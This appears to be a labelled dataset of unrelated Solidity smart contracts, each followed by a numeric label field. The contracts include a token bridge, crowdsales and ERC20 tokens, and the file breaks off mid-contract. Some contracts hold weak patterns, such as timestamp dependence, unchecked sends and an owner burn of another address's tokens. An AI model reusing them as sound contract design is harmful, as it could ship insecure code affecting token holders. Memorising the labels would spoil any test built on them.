interface IBridgeValidators {
function isValidator(address _validator) public view returns(bool);
function requiredSignatures() public view returns(uint256);
function owner() public view returns(address);
}
library Message {
function addressArrayContains(address[] array, address value) internal pure returns (bool) {
for (uint256 i = 0; i < array.length; i++) {
if (array[i] == value) {
return true;
}
}
return false;
}
function parseMessage(bytes message)
internal
pure
returns(address recipient, uint256 amount, bytes32 txHash, address contractAddress)
{
require(isMessageValid(message));
assembly {
recipient := and(mload(add(message, 20)), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
amount := mload(add(message, 52))
txHash := mload(add(message, 84))
contractAddress := mload(add(message, 104))
}
}
function isMessageValid(bytes _msg) internal pure returns(bool) {
return _msg.length == requiredMessageLength();
}
function requiredMessageLength() internal pure returns(uint256) {
return 104;
}
function recoverAddressFromSignedMessage(bytes signature, bytes message) internal pure returns (address) {
require(signature.length == 65);
bytes32 r;
bytes32 s;
bytes1 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := mload(add(signature, 0x60))
}
return ecrecover(hashMessage(message), uint8(v), r, s);
}
function hashMessage(bytes message) internal pure returns (bytes32) {
bytes memory prefix = "\x19Ethereum Signed Message:\n";
string memory msgLength = "104";
return keccak256(abi.encodePacked(prefix, msgLength, message));
}
function hasEnoughValidSignatures(
bytes _message,
uint8[] _vs,
bytes32[] _rs,
bytes32[] _ss,
IBridgeValidators _validatorContract) internal view {
require(isMessageValid(_message));
uint256 requiredSignatures = _validatorContract.requiredSignatures();
require(_vs.length >= requiredSignatures);
bytes32 hash = hashMessage(_message);
address[] memory encounteredAddresses = new address[](requiredSignatures);
for (uint256 i = 0; i < requiredSignatures; i++) {
address recoveredAddress = ecrecover(hash, _vs[i], _rs[i], _ss[i]);
require(_validatorContract.isValidator(recoveredAddress));
if (addressArrayContains(encounteredAddresses, recoveredAddress)) {
revert();
}
encounteredAddresses[i] = recoveredAddress;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Version {
struct Version {
uint64 major;
uint64 minor;
uint64 patch;
}
}
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
contract Validatable is EternalStorage {
function validatorContract() public view returns(IBridgeValidators) {
return IBridgeValidators(addressStorage[keccak256(abi.encodePacked("validatorContract"))]);
}
modifier onlyValidator() {
require(validatorContract().isValidator(msg.sender));
_;
}
modifier onlyOwner() {
require(validatorContract().owner() == msg.sender);
_;
}
function requiredSignatures() public view returns(uint256) {
return validatorContract().requiredSignatures();
}
}
contract BasicBridge is EternalStorage, Validatable {
using SafeMath for uint256;
Version.Version public getBridgeInterfacesVersion = Version.Version(2, 0, 0);
event GasPriceChanged(uint256 gasPrice);
event RequiredBlockConfirmationChanged(uint256 requiredBlockConfirmations);
event DailyLimitChanged(uint256 newLimit);
function setGasPrice(uint256 _gasPrice) public onlyOwner {
require(_gasPrice > 0);
uintStorage[keccak256(abi.encodePacked("gasPrice"))] = _gasPrice;
emit GasPriceChanged(_gasPrice);
}
function gasPrice() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("gasPrice"))];
}
function setRequiredBlockConfirmations(uint256 _blockConfirmations) public onlyOwner {
require(_blockConfirmations > 0);
uintStorage[keccak256(abi.encodePacked("requiredBlockConfirmations"))] = _blockConfirmations;
emit RequiredBlockConfirmationChanged(_blockConfirmations);
}
function requiredBlockConfirmations() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("requiredBlockConfirmations"))];
}
function deployedAtBlock() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("deployedAtBlock"))];
}
function setTotalSpentPerDay(uint256 _day, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _day))] = _value;
}
function totalSpentPerDay(uint256 _day) public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _day))];
}
function minPerTx() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("minPerTx"))];
}
function maxPerTx() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("maxPerTx"))];
}
function setInitialize(bool _status) internal {
boolStorage[keccak256(abi.encodePacked("isInitialized"))] = _status;
}
function isInitialized() public view returns(bool) {
return boolStorage[keccak256(abi.encodePacked("isInitialized"))];
}
function getCurrentDay() public view returns(uint256) {
return now / 1 days;
}
function setDailyLimit(uint256 _dailyLimit) public onlyOwner {
uintStorage[keccak256(abi.encodePacked("dailyLimit"))] = _dailyLimit;
emit DailyLimitChanged(_dailyLimit);
}
function dailyLimit() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("dailyLimit"))];
}
function setMaxPerTx(uint256 _maxPerTx) external onlyOwner {
require(_maxPerTx < dailyLimit());
uintStorage[keccak256(abi.encodePacked("maxPerTx"))] = _maxPerTx;
}
function setMinPerTx(uint256 _minPerTx) external onlyOwner {
require(_minPerTx < dailyLimit() && _minPerTx < maxPerTx());
uintStorage[keccak256(abi.encodePacked("minPerTx"))] = _minPerTx;
}
function withinLimit(uint256 _amount) public view returns(bool) {
uint256 nextLimit = totalSpentPerDay(getCurrentDay()).add(_amount);
return dailyLimit() >= nextLimit && _amount <= maxPerTx() && _amount >= minPerTx();
}
function claimTokens(address _token, address _to) public onlyOwner {
require(_to != address(0));
if (_token == address(0)) {
_to.transfer(address(this).balance);
return;
}
ERC20Basic token = ERC20Basic(_token);
uint256 balance = token.balanceOf(this);
require(token.transfer(_to, balance));
}
}
contract BasicForeignBridge is EternalStorage, Validatable {
using SafeMath for uint256;
event RelayedMessage(address recipient, uint value, bytes32 transactionHash);
function executeSignatures(uint8[] vs, bytes32[] rs, bytes32[] ss, bytes message) external {
Message.hasEnoughValidSignatures(message, vs, rs, ss, validatorContract());
address recipient;
uint256 amount;
bytes32 txHash;
address contractAddress;
(recipient, amount, txHash, contractAddress) = Message.parseMessage(message);
require(contractAddress == address(this));
require(!relayedMessages(txHash));
setRelayedMessages(txHash, true);
require(onExecuteMessage(recipient, amount));
emit RelayedMessage(recipient, amount, txHash);
}
function onExecuteMessage(address, uint256) internal returns(bool){
}
function setRelayedMessages(bytes32 _txHash, bool _status) internal {
boolStorage[keccak256(abi.encodePacked("relayedMessages", _txHash))] = _status;
}
function relayedMessages(bytes32 _txHash) public view returns(bool) {
return boolStorage[keccak256(abi.encodePacked("relayedMessages", _txHash))];
}
}
contract ForeignBridgeErcToErc is BasicBridge, BasicForeignBridge {
event RelayedMessage(address recipient, uint value, bytes32 transactionHash);
function initialize(
address _validatorContract,
address _erc20token,
uint256 _requiredBlockConfirmations
) public returns(bool) {
require(!isInitialized(), "already initialized");
require(_validatorContract != address(0), "address cannot be empty");
require(_requiredBlockConfirmations != 0, "requiredBlockConfirmations cannot be 0");
addressStorage[keccak256(abi.encodePacked("validatorContract"))] = _validatorContract;
setErc20token(_erc20token);
uintStorage[keccak256(abi.encodePacked("deployedAtBlock"))] = block.number;
uintStorage[keccak256(abi.encodePacked("requiredBlockConfirmations"))] = _requiredBlockConfirmations;
setInitialize(true);
return isInitialized();
}
function getBridgeMode() public pure returns(bytes4 _data) {
return bytes4(keccak256(abi.encodePacked("erc-to-erc-core")));
}
function claimTokens(address _token, address _to) public onlyOwner {
require(_token != address(erc20token()));
super.claimTokens(_token, _to);
}
function erc20token() public view returns(ERC20Basic) {
return ERC20Basic(addressStorage[keccak256(abi.encodePacked("erc20token"))]);
}
function onExecuteMessage(address _recipient, uint256 _amount) internal returns(bool){
return erc20token().transfer(_recipient, _amount);
}
function setErc20token(address _token) private {
require(_token != address(0));
addressStorage[keccak256(abi.encodePacked("erc20token"))] = _token;
}
} | 1 | 4,805 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract RTCoin {
using SafeMath for uint256;
address public owner;
address public saleAgent;
uint256 public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
bool private allowEmission = true;
mapping (address => uint256) balances;
function RTCoin(string _name, string _symbol, uint8 _decimals) public {
decimals = _decimals;
name = _name;
symbol = _symbol;
owner = msg.sender;
}
function changeSaleAgent(address newSaleAgent) public onlyOwner {
require (newSaleAgent!=address(0));
uint256 tokenAmount = balances[saleAgent];
if (tokenAmount>0) {
balances[newSaleAgent] = balances[newSaleAgent].add(tokenAmount);
balances[saleAgent] = balances[saleAgent].sub(tokenAmount);
Transfer(saleAgent, newSaleAgent, tokenAmount);
}
saleAgent = newSaleAgent;
}
function emission(uint256 amount) public onlyOwner {
require(allowEmission);
require(saleAgent!=address(0));
totalSupply = amount * (uint256(10) ** decimals);
balances[saleAgent] = totalSupply;
Transfer(0x0, saleAgent, totalSupply);
allowEmission = false;
}
function burn(uint256 _value) public {
require(_value > 0);
address burner;
if (msg.sender==owner)
burner = saleAgent;
else
burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
event Transfer(
address indexed _from,
address indexed _to,
uint _value
);
}
contract Crowdsale {
using SafeMath for uint256;
address fundsWallet;
RTCoin public token;
address public owner;
bool public open = false;
uint256 public tokenLimit;
uint256 public rate = 20000;
function Crowdsale(address _fundsWallet, address tokenAddress,
uint256 _rate, uint256 _tokenLimit) public {
fundsWallet = _fundsWallet;
token = RTCoin(tokenAddress);
rate = _rate;
owner = msg.sender;
tokenLimit = _tokenLimit * (uint256(10) ** token.decimals());
}
function() external isOpen payable {
require(tokenLimit>0);
fundsWallet.transfer(msg.value);
uint256 tokens = calculateTokenAmount(msg.value);
token.transfer(msg.sender, tokens);
tokenLimit = tokenLimit.sub(tokens);
}
function changeFundAddress(address newAddress) public onlyOwner {
require(newAddress != address(0));
fundsWallet = newAddress;
}
function changeRate(uint256 newRate) public onlyOwner {
require(newRate>0);
rate = newRate;
}
function calculateTokenAmount(uint256 weiAmount) public constant returns(uint256) {
if (token.decimals()!=18){
uint256 tokenAmount = weiAmount.mul(rate).div(uint256(10) ** (18-token.decimals()));
return tokenAmount;
}
else return weiAmount.mul(rate);
}
function transferTo(address _to, uint256 _value) public onlyOwner returns (bool) {
require(tokenLimit>0);
token.transfer(_to, _value);
tokenLimit = tokenLimit.sub(_value);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function allowSale() public onlyOwner {
open = true;
}
function disallowSale() public onlyOwner {
open = false;
}
modifier isOpen() {
require(open == true);
_;
}
} | 1 | 3,361 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "MediLiVes Token";
string public constant TOKEN_SYMBOL = "MLIV";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x3e9611D1b334C1631F756bF1F42BE071cCbE66d4;
uint public constant START_TIME = 1563561000;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 5,380 |
pragma solidity >=0.4.22 <0.6.0;
interface token {
function transfer(address receiver, uint amount) external;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
constructor(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
}
function () payable external {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
emit GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
emit FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (msg.sender.send(amountRaised)) {
emit FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 2,877 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Prismacoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function Prismacoin() public {
symbol = "PRIS";
name = "Prismacoin";
decimals = 18;
_totalSupply = 19000000000000000000000000;
balances[0x29B80F75900cC7F7BCe06D8282D64f6949c3a7f2] = _totalSupply;
Transfer(address(0), 0x29B80F75900cC7F7BCe06D8282D64f6949c3a7f2, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,032 |
pragma solidity ^0.4.24;
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns(uint c) {
if (a > b) return b;
return a;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns(uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns(uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns(uint256);
function balanceOf(address _who) public view returns(uint256);
function transfer(address _to, uint256 _value) public returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns(uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool);
function approve(address _spender, uint256 _value) public returns(bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath
for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns(uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns(bool) {
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns(uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns(bool) {
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns(bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
interface IRemoteFunctions {
function _externalAddMasternode(address) external;
function _externalStopMasternode(address) external;
}
interface IcaelumVoting {
function getTokenProposalDetails() external view returns(address, uint, uint, uint);
function getExpiry() external view returns (uint);
function getContractType () external view returns (uint);
}
interface EIP918Interface {
function mint(uint256 nonce, bytes32 challenge_digest) external returns (bool success);
function getChallengeNumber() external constant returns (bytes32);
function getMiningDifficulty() external constant returns (uint);
function getMiningTarget() external constant returns (uint);
function getMiningReward() external constant returns (uint);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
contract NewMinerProposal is IcaelumVoting {
enum VOTE_TYPE {MINER, MASTER, TOKEN}
VOTE_TYPE public contractType = VOTE_TYPE.TOKEN;
address contractAddress;
uint validUntil;
uint votingDurationInDays;
constructor(address _contract, uint _valid, uint _voteDuration) public {
require(_voteDuration >= 14 && _voteDuration <= 50, "Proposed voting duration does not meet requirements");
contractAddress = _contract;
validUntil = _valid;
votingDurationInDays = _voteDuration;
}
function getTokenProposalDetails() public view returns(address, uint, uint, uint) {
return (contractAddress, 0, validUntil, uint(contractType));
}
function getExpiry() external view returns (uint) {
return votingDurationInDays;
}
function getContractType () external view returns (uint){
return uint(contractType);
}
}
contract CaelumVotings is Ownable {
using SafeMath for uint;
